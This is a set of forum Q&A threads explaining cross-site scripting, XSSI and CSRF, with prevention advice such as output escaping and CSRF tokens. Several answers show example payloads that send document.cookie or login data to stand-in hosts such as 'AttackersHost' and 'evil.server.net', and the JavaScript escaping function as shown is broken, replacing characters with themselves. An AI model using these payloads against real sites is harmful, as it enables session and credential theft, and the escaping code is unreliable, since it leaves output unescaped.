How does XSS work? - xss

Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.

Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.
When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.
Example of malicious link:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
It's also common to encode the malicious code, for example in hex:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

An XSS vulnerability exists whenever a string from outside your application can be interpreted as code.
For example, if you're generating HTML by doing this:
<BODY>
<?= $myQueryParameter ?>
</BODY>
then if the $myQueryParameter variable contains a <SCRIPT> tag then it will end up executing code.
To prevent an input from being executed as code, you need to escape content properly.
The above problem can be solved by realizing that the $myQueryParameter variable contains plain text, but you can't just go and put plain text into HTML and expect it to work.
So you need to convert plain text to HTML so you can put it into your HTML page. That process of converting a string in one language to another so that it can be embedded is escaping.
You can escape plain text to HTML with a function like:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}

In Simple English
XSS is when you insert scripts (meaning JavaScript code) into webpages, so that the browser executes the code. This is malicious, because it can be used to steal cookies, and any other data on the page. For example:
The HTML of a search box: <input value="*search value here*">
Now if you insert " onmouseover="alert(1), the final HTML would be <input value="" onmouseover="alert(1)">
When the mouse is passed over the search box, the "alert" will be executed.
In "WikiText"
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.

In simple english XSS is a security vulnerabilty in which attacker can frame a malicious script to compromise the website. Now How it works?
As we know that XSS needs an input field or we can say that the GET variable through which the input is echo back to the user without filteration and sometimes filteration. After request, it is acceptable ("source code") by the browser as a response to show the contents to the user. Remember what ever you had written in the input field it will be on the source code response.So you should check it because sometimes web developer make restriction on the alert box .
If you are an attacker first you need to know the xss vulnerability by using the script tag.
For example:- alert("test")
Here alert() is used to make the popup box with the ok button and what ever you have written in the bracket it will be popup on the screen. And script tags are invisible.
Now attacker can make a malicious script to steal the cookie, steal the credentials etc.
For example:- hxxp://www.VulnerableSite.com/index.php?search=location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;
Here your site is the attacker site at which the attacker can redirect the victim's cookie on his own's site with the help of document.cookie.
Thats it.
Here script tag invisible

I've written up an article on what XSS is and how to address it somewhat as a PHP developer. There are also examples of what both types of XSS attacks look like (persistent vs. non-persistent).
There are two types of XSS attacks:
Non-persistent: This would be a specially crafted URL that embeds a
script as one of the parameters to the target page. The nasty URL
can be sent out in an email with the intent of tricking the
recipient into clicking it. The target page mishandles the parameter
and unintentionally sends code to the client's machine that was
passed in originally through the URL string.
Persistent: This attack
uses a page on a site that saves form data to the database without
handling the input data properly. A malicious user can embed a nasty
script as part of a typical data field (like Last Name) that is run
on the client's web browser unknowingly. Normally the nasty script
would be stored to the database and re-run on every client's visit
to the infected page.
See more here:
http://www.thedablog.com/what-is-xss/

XSS -
Vulnerability caused when the web-site places the trust on the user and does not filter the user-input.
The user-input causes unwanted script to be executed on the site.
Prevention:
Filter user input using HTML input sanitizers
(e.g strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape in php)
CSRF:
Vulnerability caused when the user places the trust on the site but the site may work to get user-information and misuse it.
Prevention:
Uniquely auto-generate a csrf_token every-time a form is rendered. The csrf_token is sent to the server on form submission for verification. e.g. https://docs.djangoproject.com/en/dev/ref/contrib/csrf/

Related

Is a web page without text fields and text areas immune to XSS?

If a web page comprises of drop downs,radio buttons,check boxes etc for user input and avoid text fields and text area to evade untrusted data(malicious javascript entered by the user).
Is such a web page immune to XSS?
If not how to secure such an application using ESAPI.
You can edit the form in your browser using for example Firebug and just add any field with any name.
Even more so, you can just forge whole post/get requests with any data you like (using curl or many other tools).
So: no, it is not.
Not necessarily. The input type doesn't matter, because requests can be spoofed (easy with GET, but not too hard with POST requests). What matters is that the result of the form is sanitized before inserting it into the page.

Preventing HTML being input in form input fieds

I am from reading about XSS and I'm afraid about (malicious) people inputting HTML codes into my form fields eg JavaScript through the <script> </script> tags. How can i go about this to prevent XSS, or to prevent users from inputting HTML code in my input fields? Sorry if it looks simple.
You cannot prevent users from inputting this text, but you should deal the situation that they do.
In case the text of the form fields is sent to the server, assume a user generates the http request with a script or other tool, and not in a browser at all.
All user input should be validated on the server. However, in many cases, it is helpful for the non malicious users if you have some validation in the browser already. But this is just nice to the user and not a security measure.
if you are using PHP then use htmlentities($input_data) or htmlspecialchars($input_data) functions to bypass HTML tags and prevent executing.

Is QtWebkit needed to fetch data from websites that need login?

As the title implies,
I need to fetch data from certain website which need logins to use.
The login procedure might need cookies, or sessions.
Do I need QtWebkit, or can I get away with just QNetworkAccessManager?
I have no experience at both, and will start learning as I go.
So please save me a bit of time of comparing both ^^
Thank you in advance,
Evan
Edit: Having read some related answers,
I'll add some clarifications:
The website in concern does not have an API. So I will need to scrape web elements for the data myself.
Can I do that with just QNetworkAccessManager?
No, in most cases you don't need a full simulated web browser. In most cases, just performing the same web requests like a web browser would do is enough.
Try to record the web requests in your browser, using a plugin like "HTTP Live Headers" or "Firebug" in Firefox. I think Chrome provides a similar tool out of the box. These tools record the GET and POST requests done by the website when you send a form in the webpage.
Another option is to inspect the HTML code of the login page. Find the <form> tag and its fields. Put them together in a GET / POST request in your application to simulate the same form.
Remember that some pages use randomized "tokens" in their forms, some set the tokens as cookies. In such cases, you need to request the login page itself in your application first (before sending the filled in form). Both QWebView and QNetworkAccessManager have cookie support.
To sum things up, I think QWebView provides a far more elegant way to simulate user interaction with a web page. The manual way is, however, more "lightweight", as you don't need Webkit and your application might be faster (because only the HTML page is loaded, without any linked resources like images, CSS, javascript files).
QWebView as class name states is a view, so it views something (in this case web pages). If you don't need to display loaded page, then you don't need a view. QNetworkAccessManager may do the work, but you need some knowledge about HTTP protocol, and also anything about target site: how does it hande logins, what type of request you have to send to login etc.

What is Cross Site Script Inclusion (XSSI)?

I've recently seen XSSI mentioned on multiple pages, e.g. Web Application Exploits and Defenses:
Browsers prevent pages of one domain from reading pages in other domains. But they do not prevent pages of a domain from referencing resources in other domains. In particular, they allow images to be rendered from other domains and scripts to be executed from other domains. An included script doesn't have its own security context. It runs in the security context of the page that included it. For example, if www.evil.example.com includes a script hosted on www.google.com then that script runs in the evil context not in the google context. So any user data in that script will "leak."
I fail to see what kind of security problems this creates in practice. I understand XSS and XSRF but XSSI is a little mysterious to me.
Can anybody sketch an exploit based on XSSI?
Thanks
This is typically a problem if you are using JSONP to transfer data. Consider a website consisting of a domain A that loads data from domain B. The user has to be authenticated to site A and B, and because the Same Origin Policy prevents older browsers from communicating directly with a different domain (B) than the current page (A), the developers decided to use JSONP. So site A includes a script pointing to http://B/userdata.js which is something like:
displayMySecretData({"secret":"this is very secret", ...})
So A defines a function called displayMySecretData, and when the included script from server B runs, it calls that function and displays the secret data to the user.
Now evil server E comes along. It sees that A is including data from B using JSONP. So server E includes the same script, but defines its own displayMySecretData which instead steals the data.
The attacker then tricks the user into visiting his site. When the user goes there and he is logged in to B, the browser automatically sends the authentication cookies for B along with the request to fetch the script from B. B sees an authenticated user, and thus returns the script as expected. E gets the data, and presto...
Using JSONP to load confidential data from a different domain this way is thus really insecure, but people are still using it. Bad idea!
XSSI is not limited to jsonp responses. In some browsers you can override the Array constructor. If a Json response contains [...] and you include it as a script it will execute the new constructor instead of the builtin one. The fix is to insert something in the response that can't be parsed like ])}while(1);</x> and then use code to remove it before parsing it. An attacker can't do that since script inclusion is always the entire script.
More detail on the problem and this solution at http://google-gruyere.appspot.com/part3#3__cross_site_script_inclusion
XSSI is a fancy way of saying: you are including in your program, someone elses code; You don't have any control over what is in that code, and you don't have any control over the security of the server on which it is hosted.
For example, let's say i include in my html page
<script type="text/javascript" src="http://mymatedave.com/js/coolwidget.js"></script>
That script will run in my webapp with the same level of trust as any of my own javascript code. It will have access to the the full page content and DOM, it will be able to read all my app's cookies and read the users keypresses and mouse movements, and everything else that javascript can do.
If my mate dave, then decides to put something malicious in his cool widget (say, a sniffer/keylogger that sends all the user's cookies, form data and keypresses to his server) then I won't necessarily know. Also, the security of my app now depends on the security of dave's server. If dave's server gets compromised and coolwidget.js is replaced by the attacker, i again won't necessarily know and the malicious code will run as part of my app.

What is the general concept behind XSS?

Cross-site scripting (XSS) is a type
of computer security vulnerability
typically found in web applications
which enable malicious attackers to
inject client-side script into web
pages viewed by other users. An
exploited cross-site scripting
vulnerability can be used by attackers
to bypass access controls such as the
same origin policy. Cross-site
scripting carried out on websites were
roughly 80% of all security
vulnerabilities documented by Symantec
as of 2007.
Okay so does this mean that a hacker crafts some malicious JS/VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs?
I mean, I know how SQL injection is done....
I particularly don't understand how JS/VBscript can cause so much damage! I thoguht they are only run within browsers, but apparently the damage ranges from keylogging to cookie stealing and trojans.
Is my understanding of XSS correct? if not, can someone clarify?
How can I prevent XSS from happening on my websites? This seems important; 80% of security vulnerabilities means that it's an extremely common method to compromise computers.
As the answers on how XSS can be malicious are already given, I'll only answer the following question left unanswered:
how can i prevent XSS from happening on my websites ?
As to preventing from XSS, you need to HTML-escape any user-controlled input when they're about to be redisplayed on the page. This includes request headers, request parameters and any stored user-controlled input which is to be served from a database. Especially the <, >, " and ' needs to be escaped, because it can malform the surrounding HTML code where this input is been redisplayed.
Almost any view technolgy provides builtin ways to escape HTML (or XML, that's also sufficient) entities.
In PHP you can do that with htmlspecialchars(). E.g.
<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">
If you need to escape singlequotes with this as well, you'll need to supply the ENT_QUOTES argument, also see the aforelinked PHP documentation.
In JSP you can do that with JSTL <c:out> or fn:escapeXml(). E.g.
<input name="foo" value="<c:out value="${param.foo}" />">
or
<input name="foo" value="${fn:escapeXml(param.foo)}">
Note that you actually don't need to escape XSS during request processing, but only during response processing. Escaping during request processing is not needed and it may malform the user input sooner or later (and as being a site admin you'd also like to know what the user in question has actually entered so that you can take social actions if necessary). With regard to SQL injections, just only escape it during request processing at the moment when the data is about to be persisted in the database.
Straight forward XSS
I find Google has an XSS vulnerability.
I write a script that rewrites a public Google page to look exactly like the actual Google login.
My fake page submits to a third party server, and then redirects back to the real page.
I get google account passwords, users don't realize what happened, Google doesn't know what happened.
XSS as a platform for CSRF (this supposedly actually happened)
Amazon has a CSRF vulnerability where a "always keep me logged in" cookie allows you to flag an entry as offensive.
I find an XSS vulnerability on a high traffic site.
I write a JavaScript that hits up the URLs to mark all books written by gay/lesbian authors on Amazon as offensive.
To Amazon, they are getting valid requests from real browsers with real auth cookies. All the books disappear off the site overnight.
The internet freaks the hell out.
XSS as a platform for Session Fixation attacks
I find an e-commerce site that does not reset their session after a login (like any ASP.NET site), have the ability to pass session id in via query string or via cookie, and stores auth info in the session (pretty common).
I find an XSS vulnerability on a page on that site.
I write a script that sets the session ID to the one I control.
Someone hits that page, and is bumped into my session.
They log in.
I now have the ability to do anything I want as them, including buying products with saved cards.
Those three are the big ones. The problem with XSS, CSRF, and Session Fixation attacks are that they are very, very hard to track down and fix, and are really simple to allow, especially if a developer doesn't know much about them.
i dont get how JS/VBscript can cause so much damage!
Ok. suppose you have a site, and the site is served from http://trusted.server.com/thesite. Let's say this site has a search box, and when you search the url becomes: http://trusted.server.com/thesite?query=somesearchstring.
If the site decides to not process the search string and outputs it in the result, like "You search "somesearchstring" didn't yield any results, then anybody can inject arbitrary html into the site. For example:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
So, in this case, the site will dutifully show a fake login form on the search results page, and if the user submits it, it will send the data to the evil untrusted server. But the user doesn't see that, esp. if the url is really long they will just see the first but, and assume they are dealing with trusted.server.com.
Variations to this include injecting a <script> tag that adds event handlers to the document to track the user's actions, or send the document cookie to the evil server. This way you can hope to bump into sensitive data like login, password, or credit card data. Or you can try to insert a specially styled <iframe> that occupies the entire client window and serves a site that looks like the original but actually originates from evil.server.com. As long as the user is tricked into using the injected content instead of the original, the security's comprompised.
This type of XSS is called reflective and non-persistent. Reflective because the url is "relected" directly in the response, and non-persistent because the actual site is not changed - it just serves as a pass through. Note that something like https offers no protection whatsoever here - the site itself is broken, because it parrots the user input via the query string.
The trick is now to get unsuspecting users to trust any links you give them. For example, you can send them a HTML email and include an attractive looking link which points to the forged url. Or you can perhaps spread it on wikis, forums etc. I am sure you can appreciate how easy it really is - it's just a link, what could go wrong, right?
Sometimes it can be worse. Some sites actually store user-supplied content. Simple example: comments on a blog or threads on a forum. Or it may be more subtle: a user profile page on a social network. If those pages allow arbitrary html, esp. script, and this user-supplied html is stored and reproduced, then everybody that simply visits the page that contains this content is at risk. This is persistent XSS. Now users don't even need to click a link anymore, just visiting is enough. Again the actual attack consists of modifying the page through script in order to capture user data.
Script injection can be blunt, for example, one can insert a complete <script src="http://evil.server.net/script.js"> or it may be subtle: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.
As for how to protect yourself: the key is to never output user input. This may be difficult if your site revolves around user-supplied content with markup.
Imagine a web forum. An XSS attack could be that I make a post with some javascript. When you browse to the page, your webpage will load and run the js and do what I say. As you have browsed to the page and most likely are logged in, my javascript will do anything you have privileges to do, such as make a post, delete your posts, insert spam, show a popup etc.
So the real concept with XSS is the script executes in your user context, which is a privilege escalation. You need to be careful that anywhere in your app that receives user input escapes any scripts etc. inside it to ensure that an XSS can't be done.
You have to watch out for secondary attacks. Imagine if I put malicious script into my username. That might go into the website unchecked, and then written back out unchecked but then any page that is viewed with my username on it would actually execute malicious script in your user context.
Escape user input. Don't roll your on code to do this. Check everything going in, and everything coming out.
The XSS attacks' issues are more fishing related. The problem is that a site that a customer trusts might be injected with code that leads to site made by the attacker for certain purpose. Stealing sensitive information, for example.
So, in XSS attacks the intruded do not get into your database and don't mess with it. He is playing with the sense in the customer that this site is safe and every link on it is pointing to a safe location.
This is just the first step of the real attack - to bring the customer in the hostile environment.
I can give you a brief example. If a bank institution puts a shoutbox on their page, for example and they do not prevent me from XSS attack, I can shout "Hey come on this link and enter you passwords and credit card No for a security check!" ... And you know where this link will lead to, right ?
You can prevent the XSS attacks by make sure you don't display anything on your page, that is coming from users' input without escaping html tags. The special characters should be escaped, so that they don't interfere with the markup of your html pages (or whatever technology you use). There are lot of libraries that provide this, including Microsoft AntiXSS library.